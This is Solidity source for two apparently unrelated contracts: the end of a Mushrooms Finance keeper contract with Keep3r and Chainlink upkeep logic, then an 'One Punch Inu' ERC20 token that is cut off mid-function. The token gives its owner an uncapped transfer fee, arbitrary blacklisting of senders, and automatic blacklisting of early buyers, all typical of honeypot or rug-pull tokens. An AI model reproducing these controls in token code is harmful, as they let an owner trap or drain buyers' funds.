function _setRequiredHarvest(address _strategy, uint256 _requiredHarvest) internal {
if (_requiredHarvest > 0){
requiredHarvest[_strategy] = _requiredHarvest;
}
}
// Getters
function name() external pure override returns (string memory) {
return "Generic Keep3r for Mushrooms Finance";
}
function getStrategies() public view override returns (address[] memory _strategies) {
_strategies = new address[](availableStrategies.length());
for (uint256 i; i < availableStrategies.length(); i++) {
_strategies[i] = availableStrategies.at(i);
}
}
function getCollateralizedStrategies() public view override returns (address[] memory _strategies) {
_strategies = new address[](collateralizedStrategies.length());
for (uint256 i; i < collateralizedStrategies.length(); i++) {
_strategies[i] = collateralizedStrategies.at(i);
}
}
function getVaults() public view override returns (address[] memory _vaults) {
_vaults = new address[](availableVaults.length());
for (uint256 i; i < availableVaults.length(); i++) {
_vaults[i] = availableVaults.at(i);
}
}
// this method is not specified as view since some strategy maybe not able to return accurate underlying profit in snapshot,
// please use something similar to below tool to query
// https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic
function harvestable(address _strategy) public override returns (bool) {
require(requiredHarvest[_strategy] > 0, "generic-keep3r-v2::harvestable:strategy-not-added");
// Should not trigger if had been called recently
if (strategyLastHarvest[_strategy] > 0 && block.timestamp.sub(strategyLastHarvest[_strategy]) <= minHarvestInterval){
return false;
}
uint256 ethCallCost = 0;
// estimate yield profit to harvest
uint256 profitTokenAmount = 0;
address yieldToken = stratagyYieldTokens[_strategy];
uint256 yieldTokenOracle = stratagyYieldTokenOracles[_strategy];
if (yieldToken == COMP){
profitTokenAmount = ICompStrategy(_strategy).getCompAccrued();
} else{
profitTokenAmount = ICrvStrategy(_strategy).getHarvestable();
}
if (yieldTokenOracle > SUSHISWAP_ORACLE){ // no oracle to use, just use token number
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, 0, ethCallCost);
return (profitTokenAmount >= yieldTokenOracle);
} else{
// quote from keep3r network for specified workload
uint256 kp3rCallCost = IKeep3rV1Helper(keep3rHelper).getQuoteLimit(requiredHarvest[_strategy]);
// get ETH gas cost by querying uniswap sliding oracle
ethCallCost = IUniswapV2SlidingOracle(sushiSlidingOracle).current(KP3R, kp3rCallCost, WETH);
address oracle = yieldTokenOracle == UNISWAP_ORACLE? slidingOracle : sushiSlidingOracle;
uint256 profitInEther = IUniswapV2SlidingOracle(oracle).current(yieldToken, profitTokenAmount, WETH);
emit HarvestableCheck(_strategy, profitTokenAmount, profitFactor, profitInEther, ethCallCost);
return (profitInEther >= profitFactor.mul(ethCallCost));
}
}
function earnable(address _vault) public view override returns (bool) {
require(availableVaults.contains(_vault), "generic-keep3r-v2::earnable:vault-not-added");
return (IERC20(IVault(_vault).token()).balanceOf(_vault) >= requiredEarnBalance[_vault]);
}
function keepMinRatioMayday(address _strategy) public view override returns (bool) {
require(collateralizedStrategies.contains(_strategy), "generic-keep3r-v2::keepMinRatioMayday:strategy-not-added");
return ICollateralizedStrategy(_strategy).currentRatio() <= (ICollateralizedStrategy(_strategy).minRatio() * keepMinRatioMaydayTrigger / 10000);
}
// harvest() actions for Keep3r
function harvest(address _strategy) external override paysKeeper {
require(harvestable(_strategy), "generic-keep3r-v2::harvest:not-workable");
IStrategy(_strategy).harvest();
strategyLastHarvest[_strategy] = block.timestamp;
emit HarvestedByKeeper(_strategy);
}
// earn() actions for Keep3r
function earn(address _vault) external override paysKeeper {
require(earnable(_vault), "generic-keep3r-v2::earn:not-workable");
IVault(_vault).earn();
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && leveragedStrategies.contains(_strategy)){
ILeveragedStrategy(_strategy).leverageToMax();
}
}
// keepMinRatio() actions for Keep3r
function keepMinRatio(address _strategy) external override paysKeeper {
require(keepMinRatioMayday(_strategy), "generic-keep3r-v2::keepMinRatio:not-workable");
ICollateralizedStrategy(_strategy).keepMinRatio();
}
//chainlink keep job start--------
// harvest() actions for chainlink keeper
function harvestForChainlink(address _strategy) public {
require(msg.sender == address(this), "!this");
require(harvestable(_strategy), "generic-chainlink-keeper-v2::harvest:not-workable");
IStrategy(_strategy).harvest();
strategyLastHarvest[_strategy] = block.timestamp;
emit HarvestedByKeeper(_strategy);
}
// earn() actions for chainlink keeper
function earnForChainlink(address _vault) public {
require(msg.sender == address(this), "!this");
require(earnable(_vault), "generic-chainlink-keeper-v2::earn:not-workable");
IVault(_vault).earn();
address _strategy = vaultStrategies[_vault];
if (_strategy != address(0) && requiredHarvest[_strategy] > 0 && leveragedStrategies.contains(_strategy)){
ILeveragedStrategy(_strategy).leverageToMax();
}
}
// keepMinRatio() actions for chainlink keeper
function keepMinRatioForChainlink(address _strategy) public {
require(msg.sender == address(this), "!this");
require(keepMinRatioMayday(_strategy), "generic-chainlink-keeper-v2::keepMinRatio:not-workable");
ICollateralizedStrategy(_strategy).keepMinRatio();
}
function checkUpkeep(bytes calldata checkData) external override returns (bool upkeepNeeded, bytes memory performData) {
require(checkCallData(checkData), "bad checkData");
(bool success,bytes memory returnData) = address(this).delegatecall(checkData);
require(success, " delegatecall failed");
bytes memory trueBytes = hex"0000000000000000000000000000000000000000000000000000000000000001";
upkeepNeeded = keccak256(returnData) == keccak256(trueBytes);
performData = "";
if(upkeepNeeded){
bytes4 sig = getSig(checkData);
address targetAddr = abi.decode(checkData[4:], (address));
if(sig == earnableMethodId){
performData = abi.encodeWithSelector(earnForChainlinkMethodId, targetAddr);
}else if(sig == harvestableMethodId){
performData = abi.encodeWithSelector(harvestForChainlinkMethodId, targetAddr);
}else if(sig == keepMinRatioableMethodId){
performData = abi.encodeWithSelector(keepMinRatioForChainlinkMethodId, targetAddr);
}
}
}
function performUpkeep(bytes calldata performData) external override {
require(checkPerformData(performData), "bad performData");
(bool success,) = address(this).call(performData);
require(success, "call failed");
}
function checkCallData(bytes calldata checkData) public pure returns (bool){
require(checkData.length > 10, "checkData not good");
bytes4 sig = getSig(checkData);
return (sig == earnableMethodId || sig == harvestableMethodId || sig == keepMinRatioableMethodId);
}
function checkPerformData(bytes calldata performData) public pure returns (bool){
require(performData.length > 10, "performData not good");
bytes4 sig = getSig(performData);
return (sig == earnForChainlinkMethodId || sig == harvestForChainlinkMethodId || sig == keepMinRatioForChainlinkMethodId);
}
function getSig(bytes calldata data) internal pure returns (bytes4){
bytes4 sig = data[0] |
(bytes4(data[1]) >> 8) |
(bytes4(data[2]) >> 16) |
(bytes4(data[3]) >> 24);
return sig;
}
//chainlink keep job end--------
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] |
/**
*Submitted for verification at Etherscan.io on 2021-12-03
*/
/**
*/
// SPDX-License-Identifier: MIT
/*
ONEPUNCHINU was a story about a little INU who descendants of allmight SAITAMA
Even Blast the strongest Hero have no chance in front of him.
Telegram : https://t.me/OnePunchInu
Website : https://onepunchinu.com/ (will live immediately after launch)
*/
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract OPI is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 public txFees = 12;
uint256 public _tTotal = 1e12 * 10**9;
uint256 public swapAtAmount = _tTotal.mul(1).div(1000);
uint256 public maxTxLimit = _tTotal.mul(1).div(100);
uint256 public maxWalletLimit = _tTotal.mul(100).div(100);
address public dev;
address public uniswapV2Pair;
uint256 private launchDeadBlock;
bool private swapping;
bool public isLaunched;
// exclude from fees
mapping (address => bool) public isExcludedFromFees;
// exclude from max transaction amount
mapping (address => bool) public isExcludedFromTxLimit;
// exclude from max wallet limit
mapping (address => bool) public isExcludedFromWalletLimit;
// if the account is blacklisted from transacting
mapping (address => bool) public isBlacklisted;
constructor(address _dev) public ERC20("One Punch Inu", "OPI") {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
// exclude from fees, wallet limit and transaction limit
excludeFromAllLimits(owner(), true);
excludeFromAllLimits(address(this), true);
excludeFromWalletLimit(uniswapV2Pair, true);
dev = _dev;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(owner(), _tTotal);
}
function excludeFromFees(address account, bool value) public onlyOwner() {
require(isExcludedFromFees[account] != value, "Fees: Already set to this value");
isExcludedFromFees[account] = value;
}
function excludeFromTxLimit(address account, bool value) public onlyOwner() {
require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value");
isExcludedFromTxLimit[account] = value;
}
function excludeFromWalletLimit(address account, bool value) public onlyOwner() {
require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value");
isExcludedFromWalletLimit[account] = value;
}
function excludeFromAllLimits(address account, bool value) public onlyOwner() {
excludeFromFees(account, value);
excludeFromTxLimit(account, value);
excludeFromWalletLimit(account, value);
}
function setFee(uint256 newFee) external onlyOwner() {
txFees = newFee;
}
function setMaxTxLimit(uint256 newLimit) external onlyOwner() {
maxTxLimit = newLimit * (10**9);
}
function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
maxWalletLimit = newLimit * (10**9);
}
function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() {
swapAtAmount = amountToSwap * (10**9);
}
function updateDevWallet(address newWallet) external onlyOwner() {
dev = newWallet;
}
function addBlacklist(address account) external onlyOwner() {
require(!isBlacklisted[account], "Blacklist: Already blacklisted");
require(account != uniswapV2Pair, "Cannot blacklist pair");
_setBlacklist(account, true);
}
function removeBlacklist(address account) external onlyOwner() {
require(isBlacklisted[account], "Blacklist: Not blacklisted");
_setBlacklist(account, false);
}
function launchNow() external onlyOwner() {
require(!isLaunched, "Contract is already launched");
isLaunched = true;
launchDeadBlock = block.number;
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large");
require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit");
require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live");
require(!isBlacklisted[from], "Sender is blacklisted");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapAtAmount;
if(
from != uniswapV2Pair &&
canSwap &&
!swapping
) {
swapping = true;
_swapTokensForETH(swapAtAmount);
swapping = false;
} else if(
from == uniswapV2Pair &&
to != uniswapV2Pair &&
block.number < launchDeadBlock + 10 &&
!isExcludedFromFees[to]
) {
_setBlacklist(to, true);
}
bool takeFee = !swapping;
if(isExcludedFromFees[from] || isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
uint256 fees = amount.mul(txFees).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
